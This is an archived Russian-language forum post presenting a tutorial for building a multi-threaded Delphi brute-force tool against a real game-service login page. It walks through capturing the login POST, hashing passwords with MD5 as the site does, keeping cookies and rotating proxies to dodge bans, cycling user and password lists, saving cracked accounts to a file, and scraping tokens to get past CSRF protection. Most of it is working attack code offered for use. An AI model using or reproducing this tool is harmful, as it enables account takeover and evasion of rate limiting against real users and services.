asdasd - Форум
  • Страница 1 из 1
  • 1
Архив - только для чтения
asdasd
CaLLlkaДата: Четверг, 12.01.2012, 16:16 | Сообщение # 1
Группа: Администраторы
Сообщений: 1
Репутация: 0
Для начала нам понадобиться Delphi 9-10 версии с установленным Indy 10, а также Mozilla FireFox с плагином Tamper Data
Теперь надо выбрать страницу для брута - я возьму эту

Вот наше поле для ввода. Теперь рассмотрим, что передается при нажатии на кнопку в POST запросе - для этого воспользуемся плагином, который мы установили.
(Рекомендуется закрыть все окна, дабы не засорять инфу). Инструменты - перехват данных (нажимать на "запустить перехват" не надо). Теперь залогинемся. У нас появилось множество запросов - нам нужен самый верхний с методом POST.

теперь рассмотрим данные, которые нам нужны - это URL на который был отправлен запрос (2 раза тыкаем на строку с URL в запросе) и POSTDATA (отправленные данные)

(можно 2 раза кликнуть по POSTDATA чтобы посмотреть в удобном виде)
я ввел Ник - ololo и пароль - qwerty. Но почему вместо "qwerty" в строке password "d8578edf8458ce06fbc5bb76a58c5ca4"?
Посмотрим на код страницы и найдем такие строки:
Code

   function GarenaAuth(user,pass) {   
   $.post("GarenaAuth.php",
   "username="+user+"&password="+hex_md5(pass),
   

hex_md5(pass) - значит что пароль отправляется в зашифрованом виде (мд5)
компонент можно взять тут
а расшифровать (проверить по базе) мд5 тут
теперь посмотрим на куки:
Code

   PHPSESSID=pfhf52p93mdkpreucjhqhqcqu4
   

Иногда можно залогиниться и без них - но на этой странице так не получиться.
Теперь мы выяснили, как именно происходит процесс входа - приступим к самому коддингу.
Нарисуем форму со всеми необходимыми компонентами.
Теперь создадим файл типа Thread Object (наш поток).
пропишем в uses следующие компоненты:
Code
uses
   Classes {$IFDEF MSWINDOWS}, Windows {$ENDIF}, idhttp, sysutils, idcookiemanager;

idhttp - инди клиент для отправки запросов
idcookiemanager - специальный компонент для хранения и получения кукисов
в private пропишем наши основные переменные
Code
name,pass: string;
   pr:integer; //для подключения прокси (если понадобиться)
   

после чего, ниже добавим такую строку:
Code
public
   constructor Create(CreateSuspended: boolean; nick1, pass1: string; p: integer);
   

это процедура создания потока.

CreateSuspended - обязательный элемент создания потока (определяет запускать ли поток сразу или по команде)
nick1, pass1: string - ник и пароль, которые мы передаем в поток (обратите внимание, что названия переменных отличаются от объявленных в private)
в protected добавим такие процедуры:
Code
protected
   procedure Execute; override;//основная процедура потока
   procedure UpdateCaptiongood;//Вывод сбрученных акков
   procedure UpdateBad;//вывод "плохих" акков
   procedure inc1;//увеличение числа потоков
   procedure dec1;//уменьшение числа потоков
   end;

после implementation
добавим строку:
Code
uses *основной файл программы*, umd5 //компонент для преобразования строк в мд5;

следом идет процесс создания потока (где TBthread6 имя класса)
Code

   constructor TBthread6.Create(CreateSuspended: boolean; nick1, pass1: string;
   waitf: boolean; p: integer);
   begin
   inherited Create(CreateSuspended);//если false то запускаем поток сразу
   Synchronize(inc1);//сразу же увеличиваем кол-во потоков на 1
   name := nick1;//теперь передаем переменные в глобальные для этого потока
   pass := pass1;
   pr := p;
   end;
   

Synchronize - специальная функция для синхронизации потоков (чтобы одновременно с переменной мог работать только 1 поток)
теперь в процедуре Execute
объявим в var такие переменные
Code
data: tstringlist;//данные запроса
   idhttp1: tidHTTP;
   idcookiemanager1:tidcookiemanager;
   page: string;//текст полученного пост запроса
   j: integer;//счетчик для цикла

после begin'а вставим это
Code

   page:='';//обнуление страницы (на всякий случай)
   data := tstringlist.Create;//инициализация переменной
   data.Add('username=' + name);//добавляем те строки которые мы отловили через перехватчик
   data.Add('password=' + md5(pass));//пароль хешируем в мд5
   idhttp1 := tidHTTP.Create;
   idcookiemanager1:=tidcookiemanager.Create(idhttp1);//создаем наш куки мэнэджер относительно инди клиента
   idhttp1.HandleRedirects := true;//возможность перенаправления
   idhttp1.AllowCookies:=true;//разрешаем куки
   idhttp1.MaxAuthRetries:=1;
   

если на нашей странице нужны прокси (бан после N запросов) то нужно вставить следующее
Code

   idhttp1.ProxyParams.ProxyServer := proxy[pr]; //где pr номер прокси в файле/стринглисте
   idhttp1.ProxyParams.ProxyPort := strtoint(port[pr]);
   idhttp1.ProxyParams.ProxyUsername := '';
   idhttp1.ProxyParams.ProxyPassword := '';
   

Замечание: можно ссылаться на переменные объявленные в основном файле программы (главное чтобы переменных с таким именем не было в самом потоке).
далее процесс получения кук и отправка данных
Code

   idhttp1.Get('http://replay.garena.com/loginui.php?prepage=./');
   //гет запрос на страницу входа - для получения кук (необязательно если куки не нужны)
   page:=idhttp1.Post('http://replay.garena.com/GarenaAuth.php', data); //отсылаем пост запрос на страницу "отловленную" нами в перехватчике
   //данные пришедшие нам в ответ мы кладем в переменную page
   

данный выше код необходимо заключить в блок try finally, чтобы не потерять данные в случае ошибки.
Code

   if page ='ok' then
   //если в пост запросе нам пришло "ok" значит мы успешно залогинились
   Synchronize(UpdateCaptiongood) else
   //запускаем процедуру вывода сбрученного акка
   Synchronize(Updatebad); //не забываем про процедуру синхронизации
   //иначе выводим акк в поле Bad
   Synchronize(dec1);
   //уменьшаем кол-во потоков на 1
   self.Terminate; //завершение потока
   

Замечание: ответ на запрос в каждом случае свой - и свой алгоритм определения успешного захода. (можно сделать GET запрос на другую страницу - и проверить залогинились или нет (для этого обязательны куки!)
Далее идут процедуры вывода аккаунтов (например вывод плохих аккаунтов в поле Bad в главной форме программы (form5)) - точно также и вывод гуд акков (но + запись файл)
Code

   procedure TBthread6.UpdateBad;
   begin
   form5.accs.Lines.Add(name + ':' + pass + '|BAD');
   end;
   

Соответсвенно в процедурах dec1 и inc1 мы работаем с переменной, объявленной в главном потоке
Code

   procedure TBthread6.inc1;
   begin
   inc(tpot);
   end;

   procedure TBthread6.dec1;
   begin
   dec(tpot);
   end;
   

Теперь немного слов об основном потоке программы и об управлении кол-вом потоков.
Вот код необходимый для разделения списка прокси на ип и порт (proxy и port переменные типа tstringlist) и в proxy мы изначально загружаем весь список.
gg, d, d1 дополнительные переменные типа string
Code

   for i := 0 to proxy.Count - 1 do
   begin
   gg := proxy[i];
   for j := 1 to length(gg) do
   begin
   if gg[j] = ':' then
   begin
   d := '';
   d1 := '';
   for k := 1 to j - 1 do
   d := d + gg[k];
   for k := j + 1 to length(gg) do
   d1 := d1 + gg[k];
   proxy[i] := d;
   port.add(d1);
   break;
   end;
   end;
   end;
   

процесс брутфорса я запускаю циклом while
главное не забывать о следующих вещах:
1)
Code

   application.processmessages();
   

эта процедура перерисовывает форму - чтобы мы могли управлять программой
2)
Code

   if tpot = p then
   while tpot = p do
   begin
   sleep(50);
   application.processmessages();
   if stop then
   begin
   break;
   end;
   end;
   

tpot - текущее кол-во потоков а p - во сколько потоков мы работаем
также стоит дописать после этого такой код:
Code

   if tpot > p then
   tpot := p;
   

в случае если потоки собьются - и неправильно увеличиться их кол-во то мы не дадим программе зависнуть.
теперь, как брутить по списку и знать что и как запустить
Code

   if (t = passes.Count - 1) then
   begin
   t := 0;
   inc(k);
   if (logpas = true) and (k <= users.Count - 1) then
   passes[passes.Count - 1] := users[k];
   end
   else
   inc(t);
   if (pro = proxy.Count - 1) then
   pro := 0
   else
   inc(pro);
   

тут мы переключаем указатель пассов и указатель прокси (тоесть мы бегаем по списку с прокси - это наиболее эффективный метод)
pro - текущий номер прокси
t - текущий номер пасса
k - текущий юзер
А вот так мы вызываем поток (не забудьте в uses основной формы указать имя файла с потоком)
Code

   TBthread6.Create(false, users[k], passes[t], false, pro);
   

Все остальное - на ваш вкус. В такой брутфорс можно встроить неограниченное кол-во страниц (просто подключаем новые потоки).

[COLOR="Red"]© RazoRIII[/COLOR]

З.Ы моя первая статья)

+ небольшое дополнение: Как получить токен, и что это такое?
часто для повышения защиты в пост запросах передается специальный генерируемый ключ (token) - и без правильного ключа вы не сможете выполнить запрос.
Есть 2 способа решить эту проблему:
1 - Способ тру кодеров: разобрать по кусочкам скрипты используемые на странице и написать свой генератор.
2 - "Народный": сделать гет запрос на страницу входа и забрать код страницы (s:=idhttp1.get('http://darkweb.ws');) и вытащить из него наш токен (думаю проблем это не составит). - выглядит код страницы с токеном примерно так:
Code

   <tr><td class="row1">Логин :</td><td class="row2"><input type="text" name="username" class="textinput" /></td></tr>
   <tr><td class="row1">Пароль :</td><td class="row2"><input type="password" name="password" class="textinput" />
   [B][U]<input type="hidden" name="token" value="[COLOR="Red"]bd5fc745562eba992e6112b1846777dc[/COLOR]">[/U][/B]
   
  • Страница 1 из 1
  • 1
Поиск:

Используются технологии uCoz
Карта сайта | Карта форума